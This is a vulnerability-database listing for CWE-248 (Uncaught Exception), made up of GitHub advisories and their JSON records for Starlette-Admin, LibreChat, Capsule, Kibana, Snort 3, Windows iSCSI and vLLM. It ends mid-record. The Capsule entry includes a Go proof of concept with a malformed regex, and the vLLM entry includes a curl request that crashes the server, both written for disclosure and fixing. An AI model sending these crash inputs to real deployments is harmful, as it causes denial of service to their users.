CWE-248
AllowedUncaught Exception
Abstraction: Base · Status: Draft
An exception is thrown from a function, but it is not caught.
532 vulnerabilities reference this CWE, most recent first.
GHSA-6753-GR46-6WPR
Vulnerability from github – Published: 2026-08-26 14:14 – Updated: 2026-08-26 14:14Summary
Affected versions of Starlette-Admin prior to 0.16.1 do not properly validate user-supplied sort and search parameters against the configured field allowlists. While the administrative UI restricts available fields based on field configuration, the backend accepts arbitrary field names supplied through API requests.
An authenticated user can submit crafted requests to sort or filter records using fields that are not intended to be searchable or sortable. Additionally, supplying invalid field names or special Python attribute names can trigger unhandled exceptions that result in HTTP 500 responses.
Impact
An authenticated user with access to affected list endpoints may:
- Bypass intended UI restrictions and perform sorting or filtering on fields that are not configured as searchable or sortable.
- Cause affected API requests to fail with HTTP 500 responses by supplying invalid field names or special Python attribute names such as
metadataor__class__.
This vulnerability may result in unauthorized use of query functionality and limited denial-of-service conditions affecting the targeted endpoint.
Affected Versions
All versions before 0.16.1.
Patched Versions
- 0.16.1
Workarounds
There are no known workarounds. Users should upgrade to version 0.16.1 or later.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.16.0"
},
"package": {
"ecosystem": "PyPI",
"name": "starlette-admin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.16.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54553"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-248",
"CWE-602",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T14:14:37Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAffected versions of Starlette-Admin prior to 0.16.1 do not properly validate user-supplied sort and search parameters against the configured field allowlists. While the administrative UI restricts available fields based on field configuration, the backend accepts arbitrary field names supplied through API requests.\n\nAn authenticated user can submit crafted requests to sort or filter records using fields that are not intended to be searchable or sortable. Additionally, supplying invalid field names or special Python attribute names can trigger unhandled exceptions that result in HTTP 500 responses.\n\n## Impact\n\nAn authenticated user with access to affected list endpoints may:\n\n* Bypass intended UI restrictions and perform sorting or filtering on fields that are not configured as searchable or sortable.\n* Cause affected API requests to fail with HTTP 500 responses by supplying invalid field names or special Python attribute names such as `metadata` or `__class__`.\n\nThis vulnerability may result in unauthorized use of query functionality and limited denial-of-service conditions affecting the targeted endpoint.\n\n## Affected Versions\n\nAll versions before 0.16.1.\n\n## Patched Versions\n\n* 0.16.1\n\n## Workarounds\n\nThere are no known workarounds. Users should upgrade to version 0.16.1 or later.",
"id": "GHSA-6753-gr46-6wpr",
"modified": "2026-08-26T14:14:37Z",
"published": "2026-08-26T14:14:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jowilf/starlette-admin/security/advisories/GHSA-6753-gr46-6wpr"
},
{
"type": "WEB",
"url": "https://github.com/jowilf/starlette-admin/pull/776"
},
{
"type": "WEB",
"url": "https://github.com/jowilf/starlette-admin/commit/af05b45cd90944b726949fd650ab9d19f1abafc3"
},
{
"type": "WEB",
"url": "https://github.com/jowilf/starlette-admin/commit/d2a25ebbaf213d4c2cfc87187e34309ca6e30a51"
},
{
"type": "PACKAGE",
"url": "https://github.com/jowilf/starlette-admin"
},
{
"type": "WEB",
"url": "https://github.com/jowilf/starlette-admin/releases/tag/0.16.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Starlette-Admin\u0027s unvalidated `order_by` parameter allows ordering by hidden columns (info-exposure oracle) and HTTP 500 DoS"
}
GHSA-6827-G8XF-36C7
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32A vulnerability in danny-avila/librechat version git a1647d7 allows an unauthenticated attacker to cause a denial of service by sending a crafted payload to the server. The middleware checkBan is not surrounded by a try-catch block, and an unhandled exception will cause the server to crash. This issue is fixed in version 0.7.6.
{
"affected": [],
"aliases": [
"CVE-2024-11172"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:24Z",
"severity": "HIGH"
},
"details": "A vulnerability in danny-avila/librechat version git a1647d7 allows an unauthenticated attacker to cause a denial of service by sending a crafted payload to the server. The middleware `checkBan` is not surrounded by a try-catch block, and an unhandled exception will cause the server to crash. This issue is fixed in version 0.7.6.",
"id": "GHSA-6827-g8xf-36c7",
"modified": "2025-03-20T12:32:41Z",
"published": "2025-03-20T12:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11172"
},
{
"type": "WEB",
"url": "https://github.com/danny-avila/librechat/commit/976784c01fa4cce00d4c2941801d56aed375c21b"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/c76a7ee3-2e26-45a0-8940-21c749592105"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-68CJ-MVG9-RGM2
Vulnerability from github – Published: 2026-07-31 16:53 – Updated: 2026-07-31 16:53Summary
CapsuleConfiguration.Spec.NodeMetadata.ForbiddenLabels.Regex and ForbiddenAnnotations.Regex are never validated by any admission webhook. A Cluster Admin can persist a malformed regex to etcd without being blocked. Once stored, every Node CREATE, UPDATE, or PATCH request triggers regexp.MustCompile() in pkg/api/forbidden_list.go:36, which panics and crashes the node admission webhook — causing a cluster-wide Denial of Service for all Node operations.
Root cause
internal/webhook/tenant/validation/ contains dedicated regex validators for every Tenant regex field (hostname, storageclass, ingressclass, containerregistry, etc.). internal/webhook/cfg/ contains no regex validator at all — only owners.go, serviceaccount.go, and warnings.go.
The downstream consumer internal/webhook/node/user_metadata.go calls:
// line 131
matched = forbiddenLabels.RegexMatch(label)
// line 150
matched = forbiddenAnnotations.RegexMatch(annotation)
Which routes to pkg/api/forbidden_list.go:36:
func (in ForbiddenListSpec) RegexMatch(value string) (ok bool) {
if len(in.Regex) > 0 {
ok = regexp.MustCompile(in.Regex).MatchString(value) // ← panics on invalid regex
}
return ok
}
Unlike regexp.Compile, regexp.MustCompile panics instead of returning an error. Since no webhook validates the CapsuleConfiguration regex fields before storage, a malformed value reaches MustCompile on every Node admission request.
Comparison with existing CVEs
GHSA-f94q-w3w8-cj67 and GHSA-gxjc-74v5-3vx3 affect individual Tenant fields — their validators existed but checked the wrong field. This issue is different: no validator exists at all for CapsuleConfiguration regex fields, and the blast radius is cluster-wide (all Nodes), not scoped to one tenant.
PoC
package main
import (
"fmt"
"regexp"
)
type ForbiddenListSpec struct{ Regex string }
// Exact copy of pkg/api/forbidden_list.go:34-38
func (in ForbiddenListSpec) RegexMatch(value string) bool {
if len(in.Regex) > 0 {
return regexp.MustCompile(in.Regex).MatchString(value)
}
return false
}
func main() {
// 1. cfg webhook has no validator → invalid regex stored in etcd
// (no webhook in internal/webhook/cfg/ checks regex fields)
// 2. Stored malformed regex loaded from CapsuleConfiguration
forbidden := ForbiddenListSpec{Regex: `[invalid-regex(`}
// 3. node/user_metadata.go:131 called on every Node admission request
defer func() {
if r := recover(); r != nil {
fmt.Printf("PANIC: %v\n", r)
// Output: PANIC: regexp: Compile(`[invalid-regex(`): error parsing regexp: missing closing ]
}
}()
forbidden.RegexMatch("kubernetes.io/hostname")
}
Expected output:
PANIC: regexp: Compile(`[invalid-regex(`): error parsing regexp: missing closing ]: `[invalid-regex(`
Fix
Add a node_metadata_regex.go handler to internal/webhook/cfg/ following the same pattern as forbidden_annotations_regex.go:
```go package cfg
import ( "context" "regexp"
"sigs.k8s.io/controller-runtime/pkg/client"
"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
ad "github.com/projectcapsule/capsule/pkg/runtime/admission"
"github.com/projectcapsule/capsule/pkg/runtime/events"
"github.com/projectcapsule/capsule/pkg/runtime/handlers"
)
type nodeMetadataRegexHandler struct{}
func NodeMetadataRegexHandler() handlers.TypedHandler[*capsulev1beta2.CapsuleConfiguration] { return &nodeMetadataRegexHandler{} }
func (h nodeMetadataRegexHandler) OnCreate( _ client.Client, _ client.Reader, cfg capsulev1beta2.CapsuleConfiguration, _ admission.Decoder, _ events.EventRecorder, ) handlers.Func { return func(_ context.Context, req admission.Request) *admission.Response { return h.validate(cfg, req) } }
func (h nodeMetadataRegexHandler) OnDelete( client.Client, client.Reader, capsulev1beta2.CapsuleConfiguration, admission.Decoder, events.EventRecorder, ) handlers.Func { return func(context.Context, admission.Request) *admission.Response { return nil } }
func (h nodeMetadataRegexHandler) OnUpdate( _ client.Client, _ client.Reader, cfg capsulev1beta2.CapsuleConfiguration, _ capsulev1beta2.CapsuleConfiguration, _ admission.Decoder, _ events.EventRecorder, ) handlers.Func { return func(_ context.Context, req admission.Request) admission.Response { return h.validate(cfg, req) } }
func (h nodeMetadataRegexHandler) validate(cfg capsulev1beta2.CapsuleConfiguration, req admission.Request) *admission.Response { if cfg.Spec.NodeMetadata == nil { return nil }
expressions := map[string]string{
"labels": cfg.Spec.NodeMetadata.ForbiddenLabels.Regex,
"annotations": cfg.Spec.NodeMetadata.ForbiddenAnnotations.Regex,
}
for scope, expression := range expressions {
if expression == "" {
continue
}
if _, err := regexp.Compile(expression); err != nil {
return ad.Denyf(
"unable to compile regex %q for forbidden %s: %v",
expression,
scope,
err,
)
}
}
return nil
}
Step 2: Register the handler in cmd/controller/main.go:
route.ConfigValidation( cfgvalidation.Handler(cfg, cfgvalidation.WarningHandler(), cfgvalidation.ServiceAccountHandler(), cfgvalidation.OwnerHandler(), cfgvalidation.NodeMetadataRegexHandler(), // ← ADD THIS LINE ), ), ```
Impact
A Cluster Admin (or compromised admin account) can update CapsuleConfiguration
with a malformed NodeMetadata regex (e.g., [invalid-regex(). The update is
accepted without validation and persisted to etcd. Once stored, every subsequent
Node admission request triggers regexp.MustCompile() with the invalid pattern,
causing the Capsule node webhook to panic.
Affected operations (cluster-wide):
- Node labeling, annotations, and taints (kubectl label/annotate/taint node)
- Cluster autoscaler operations (cannot register or remove nodes)
- Cloud provider node lifecycle management (metadata sync, status updates)
- Node maintenance workflows (cordon, drain, uncordon)
Severity: This is a cluster-wide Denial of Service affecting all Node infrastructure operations. Unlike tenant-scoped CVEs (GHSA-f94q-w3w8-cj67, GHSA-gxjc-74v5-3vx3) that impact only Ingress or Namespace operations within a single tenant, this vulnerability blocks the entire cluster's ability to manage nodes.
The cluster cannot scale, perform maintenance, or process any node metadata changes until a Cluster Admin manually corrects the CapsuleConfiguration—requiring direct kubectl access with valid YAML.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.13.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/projectcapsule/capsule"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-65834"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T16:53:25Z",
"nvd_published_at": "2026-07-30T20:18:13Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`CapsuleConfiguration.Spec.NodeMetadata.ForbiddenLabels.Regex` and `ForbiddenAnnotations.Regex` are never validated by any admission webhook. A Cluster Admin can persist a malformed regex to etcd without being blocked. Once stored, every Node `CREATE`, `UPDATE`, or `PATCH` request triggers `regexp.MustCompile()` in `pkg/api/forbidden_list.go:36`, which **panics** and crashes the node admission webhook \u2014 causing a cluster-wide Denial of Service for all Node operations.\n\n### Root cause\n\n`internal/webhook/tenant/validation/` contains dedicated regex validators for every Tenant regex field (hostname, storageclass, ingressclass, containerregistry, etc.). `internal/webhook/cfg/` contains **no regex validator at all** \u2014 only `owners.go`, `serviceaccount.go`, and `warnings.go`.\n\nThe downstream consumer `internal/webhook/node/user_metadata.go` calls:\n```go\n// line 131\nmatched = forbiddenLabels.RegexMatch(label)\n// line 150\nmatched = forbiddenAnnotations.RegexMatch(annotation)\n```\n\nWhich routes to `pkg/api/forbidden_list.go:36`:\n```go\nfunc (in ForbiddenListSpec) RegexMatch(value string) (ok bool) {\n if len(in.Regex) \u003e 0 {\n ok = regexp.MustCompile(in.Regex).MatchString(value) // \u2190 panics on invalid regex\n }\n return ok\n}\n```\n\nUnlike `regexp.Compile`, `regexp.MustCompile` panics instead of returning an error. Since no webhook validates the `CapsuleConfiguration` regex fields before storage, a malformed value reaches `MustCompile` on every Node admission request.\n\n### Comparison with existing CVEs\n\n`GHSA-f94q-w3w8-cj67` and `GHSA-gxjc-74v5-3vx3` affect individual Tenant fields \u2014 their validators existed but checked the wrong field. This issue is different: **no validator exists at all** for `CapsuleConfiguration` regex fields, and the blast radius is cluster-wide (all Nodes), not scoped to one tenant.\n\n### PoC\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"regexp\"\n)\n\ntype ForbiddenListSpec struct{ Regex string }\n\n// Exact copy of pkg/api/forbidden_list.go:34-38\nfunc (in ForbiddenListSpec) RegexMatch(value string) bool {\n if len(in.Regex) \u003e 0 {\n return regexp.MustCompile(in.Regex).MatchString(value)\n }\n return false\n}\n\nfunc main() {\n // 1. cfg webhook has no validator \u2192 invalid regex stored in etcd\n // (no webhook in internal/webhook/cfg/ checks regex fields)\n\n // 2. Stored malformed regex loaded from CapsuleConfiguration\n forbidden := ForbiddenListSpec{Regex: `[invalid-regex(`}\n\n // 3. node/user_metadata.go:131 called on every Node admission request\n defer func() {\n if r := recover(); r != nil {\n fmt.Printf(\"PANIC: %v\\n\", r)\n // Output: PANIC: regexp: Compile(`[invalid-regex(`): error parsing regexp: missing closing ]\n }\n }()\n forbidden.RegexMatch(\"kubernetes.io/hostname\")\n}\n```\n\nExpected output:\n```\nPANIC: regexp: Compile(`[invalid-regex(`): error parsing regexp: missing closing ]: `[invalid-regex(`\n```\n\n### Fix\n Add a `node_metadata_regex.go` handler to `internal/webhook/cfg/` following the same pattern as `forbidden_annotations_regex.go`:\n\n ```go\n package cfg\n\n import (\n \"context\"\n \"regexp\"\n\n \"sigs.k8s.io/controller-runtime/pkg/client\"\n \"sigs.k8s.io/controller-runtime/pkg/webhook/admission\"\n\n capsulev1beta2 \"github.com/projectcapsule/capsule/api/v1beta2\"\n ad \"github.com/projectcapsule/capsule/pkg/runtime/admission\"\n \"github.com/projectcapsule/capsule/pkg/runtime/events\"\n \"github.com/projectcapsule/capsule/pkg/runtime/handlers\"\n )\n\n type nodeMetadataRegexHandler struct{}\n\n func NodeMetadataRegexHandler() handlers.TypedHandler[*capsulev1beta2.CapsuleConfiguration] {\n return \u0026nodeMetadataRegexHandler{}\n }\n\n func (h *nodeMetadataRegexHandler) OnCreate(\n _ client.Client,\n _ client.Reader,\n cfg *capsulev1beta2.CapsuleConfiguration,\n _ admission.Decoder,\n _ events.EventRecorder,\n ) handlers.Func {\n return func(_ context.Context, req admission.Request) *admission.Response {\n return h.validate(cfg, req)\n }\n }\n\n func (h *nodeMetadataRegexHandler) OnDelete(\n client.Client,\n client.Reader,\n *capsulev1beta2.CapsuleConfiguration,\n admission.Decoder,\n events.EventRecorder,\n ) handlers.Func {\n return func(context.Context, admission.Request) *admission.Response {\n return nil\n }\n }\n\n func (h *nodeMetadataRegexHandler) OnUpdate(\n _ client.Client,\n _ client.Reader,\n cfg *capsulev1beta2.CapsuleConfiguration,\n _ *capsulev1beta2.CapsuleConfiguration,\n _ admission.Decoder,\n _ events.EventRecorder,\n ) handlers.Func {\n return func(_ context.Context, req admission.Request) *admission.Response {\n return h.validate(cfg, req)\n }\n }\n\n func (h *nodeMetadataRegexHandler) validate(cfg *capsulev1beta2.CapsuleConfiguration, req admission.Request) *admission.Response {\n if cfg.Spec.NodeMetadata == nil {\n return nil\n }\n\n expressions := map[string]string{\n \"labels\": cfg.Spec.NodeMetadata.ForbiddenLabels.Regex,\n \"annotations\": cfg.Spec.NodeMetadata.ForbiddenAnnotations.Regex,\n }\n\n for scope, expression := range expressions {\n if expression == \"\" {\n continue\n }\n\n if _, err := regexp.Compile(expression); err != nil {\n return ad.Denyf(\n \"unable to compile regex %q for forbidden %s: %v\",\n expression,\n scope,\n err,\n )\n }\n }\n\n return nil\n }\n\n```\n```\n Step 2: Register the handler in cmd/controller/main.go:\n\n route.ConfigValidation(\n cfgvalidation.Handler(cfg,\n cfgvalidation.WarningHandler(),\n cfgvalidation.ServiceAccountHandler(),\n cfgvalidation.OwnerHandler(),\n cfgvalidation.NodeMetadataRegexHandler(), // \u2190 ADD THIS LINE\n ),\n ),\n```\n\n\n### Impact\n\n A Cluster Admin (or compromised admin account) can update CapsuleConfiguration\n with a malformed NodeMetadata regex (e.g., `[invalid-regex(`). The update is\n accepted without validation and persisted to etcd. Once stored, every subsequent\n Node admission request triggers `regexp.MustCompile()` with the invalid pattern,\n causing the Capsule node webhook to panic.\n\n **Affected operations (cluster-wide):**\n - Node labeling, annotations, and taints (`kubectl label/annotate/taint node`)\n - Cluster autoscaler operations (cannot register or remove nodes)\n - Cloud provider node lifecycle management (metadata sync, status updates)\n - Node maintenance workflows (cordon, drain, uncordon)\n\n **Severity:**\n This is a **cluster-wide Denial of Service** affecting all Node infrastructure\n operations. Unlike tenant-scoped CVEs (GHSA-f94q-w3w8-cj67, GHSA-gxjc-74v5-3vx3)\n that impact only Ingress or Namespace operations within a single tenant, this\n vulnerability blocks the entire cluster\u0027s ability to manage nodes.\n\n The cluster cannot scale, perform maintenance, or process any node metadata\n changes until a Cluster Admin manually corrects the CapsuleConfiguration\u2014requiring\n direct kubectl access with valid YAML.",
"id": "GHSA-68cj-mvg9-rgm2",
"modified": "2026-07-31T16:53:25Z",
"published": "2026-07-31T16:53:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-68cj-mvg9-rgm2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65834"
},
{
"type": "PACKAGE",
"url": "https://github.com/projectcapsule/capsule"
},
{
"type": "WEB",
"url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Capsule: CapsuleConfiguration NodeMetadata regex fields lack webhook validation, allowing MustCompile panic on all Node admission requests"
}
GHSA-6932-J9J3-FRP3
Vulnerability from github – Published: 2026-09-01 21:31 – Updated: 2026-09-01 21:31Uncaught Exception (CWE-248) in Kibana can lead to a denial of service via Input Data Manipulation (CAPEC-153). An authenticated user holding only the low-privileged feature access required to use the Observability AI Assistant can submit a specially crafted request that produces an unhandled error condition, terminating the Kibana process and denying service to all users and spaces on that instance until it is restarted.
{
"affected": [],
"aliases": [
"CVE-2026-72644"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-01T20:17:16Z",
"severity": "MODERATE"
},
"details": "Uncaught Exception (CWE-248) in Kibana can lead to a denial of service via Input Data Manipulation (CAPEC-153). An authenticated user holding only the low-privileged feature access required to use the Observability AI Assistant can submit a specially crafted request that produces an unhandled error condition, terminating the Kibana process and denying service to all users and spaces on that instance until it is restarted.",
"id": "GHSA-6932-j9j3-frp3",
"modified": "2026-09-01T21:31:47Z",
"published": "2026-09-01T21:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72644"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-9-4-5-9-5-1-security-update-esa-2026-115/390088"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6M9Q-HWQP-8RV6
Vulnerability from github – Published: 2026-03-04 18:31 – Updated: 2026-03-04 18:31Multiple Cisco products are affected by a vulnerability in the Snort 3 detection engine that could allow an unauthenticated, remote attacker to cause the Snort 3 Detection Engine to restart, resulting in an interruption of packet inspection.
This vulnerability is due to incomplete error checking when parsing remote procedure call (RPC) data. An attacker could exploit this vulnerability by sending crafted RPC packets through an established connection to be parsed by Snort 3. A successful exploit could allow the attacker to cause a DoS condition when the Snort 3 Detection Engine unexpectedly restarts.
{
"affected": [],
"aliases": [
"CVE-2026-20068"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-04T18:16:22Z",
"severity": "MODERATE"
},
"details": "Multiple Cisco products are affected by a vulnerability in the Snort 3 detection engine that could allow an unauthenticated, remote attacker to cause the Snort 3 Detection Engine to restart, resulting in an interruption of packet inspection.\n\nThis vulnerability is due to incomplete error checking when parsing remote procedure call (RPC) data. An attacker could exploit this vulnerability by sending crafted RPC packets through an established connection to be parsed by Snort 3. A successful exploit could allow the attacker to cause a DoS condition when the Snort 3 Detection Engine unexpectedly restarts.",
"id": "GHSA-6m9q-hwqp-8rv6",
"modified": "2026-03-04T18:31:55Z",
"published": "2026-03-04T18:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20068"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-snort3-multi-dos-XFWkWSwz"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6PCM-J3QF-MRJQ
Vulnerability from github – Published: 2026-09-08 18:33 – Updated: 2026-09-08 18:33Uncaught exception in Windows iSCSI Target Service allows an authorized attacker to deny service over a network.
{
"affected": [],
"aliases": [
"CVE-2026-69839"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T18:19:55Z",
"severity": "MODERATE"
},
"details": "Uncaught exception in Windows iSCSI Target Service allows an authorized attacker to deny service over a network.",
"id": "GHSA-6pcm-j3qf-mrjq",
"modified": "2026-09-08T18:33:02Z",
"published": "2026-09-08T18:33:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69839"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69839"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6QC9-V4R8-22XG
Vulnerability from github – Published: 2025-05-28 19:41 – Updated: 2025-06-27 21:06Summary
Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server
Details
The following API call
(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'
will provoke a Uncaught exceptions from xgrammer in
./lib64/python3.11/site-packages/xgrammar/compiler.py
Issue with more information: https://github.com/vllm-project/vllm/issues/17248
PoC
Make a call to vllm with invalid json_scema e.g. {\"properties\":{\"reason\":{\"type\": \"stsring\"}}}
curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'
Impact
vllm crashes
example traceback
ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core
ERROR 03-26 17:25:01 [core.py:340] engine_core.run_busy_loop()
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in run_busy_loop
ERROR 03-26 17:25:01 [core.py:340] outputs = step_fn()
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step
ERROR 03-26 17:25:01 [core.py:340] scheduler_output = self.scheduler.schedule()
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule
ERROR 03-26 17:25:01 [core.py:340] if structured_output_req and structured_output_req.grammar:
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 41, in grammar
ERROR 03-26 17:25:01 [core.py:340] completed = self._check_grammar_completion()
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 29, in _check_grammar_completion
ERROR 03-26 17:25:01 [core.py:340] self._grammar = self._grammar.result(timeout=0.0001)
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 456, in result
ERROR 03-26 17:25:01 [core.py:340] return self.__get_result()
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 401, in __get_result
ERROR 03-26 17:25:01 [core.py:340] raise self._exception
ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run
ERROR 03-26 17:25:01 [core.py:340] result = self.fn(*self.args, **self.kwargs)
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py", line 120, in _async_create_grammar
ERROR 03-26 17:25:01 [core.py:340] ctx = self.compiler.compile_json_schema(grammar_spec,
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compile_json_schema
ERROR 03-26 17:25:01 [core.py:340] self._handle.compile_json_schema(
ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is<picojson::object>()) is false: Schema should be an object or bool
ERROR 03-26 17:25:01 [core.py:340]
ERROR 03-26 17:25:01 [core.py:340]
CRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.
Fix
- https://github.com/vllm-project/vllm/pull/17623
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "vllm"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48942"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-28T19:41:53Z",
"nvd_published_at": "2025-05-30T19:15:30Z",
"severity": "MODERATE"
},
"details": "### Summary\nHitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server\n\n\n### Details\nThe following API call \n`(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H \"Content-Type: application/json\" -d \u0027{\"model\": \"meta-llama/Llama-3.2-3B-Instruct\",\"prompt\": \"Name two great reasons to visit Sligo \", \"max_tokens\": 10, \"temperature\": 0.5, \"guided_json\":\"{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}\"}\u0027 \n`\nwill provoke a Uncaught exceptions from xgrammer in \n`./lib64/python3.11/site-packages/xgrammar/compiler.py\n`\n\nIssue with more information: https://github.com/vllm-project/vllm/issues/17248\n\n### PoC\nMake a call to vllm with invalid json_scema e.g. `{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}`\n\n`curl -s http://localhost:8000/v1/completions -H \"Content-Type: application/json\" -d \u0027{\"model\": \"meta-llama/Llama-3.2-3B-Instruct\",\"prompt\": \"Name two great reasons to visit Sligo \", \"max_tokens\": 10, \"temperature\": 0.5, \"guided_json\":\"{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}\"}\u0027\n`\n### Impact\nvllm crashes\n\n\nexample traceback\n```\nERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 333, in run_engine_core\nERROR 03-26 17:25:01 [core.py:340] engine_core.run_busy_loop()\nERROR 03-26 17:25:01 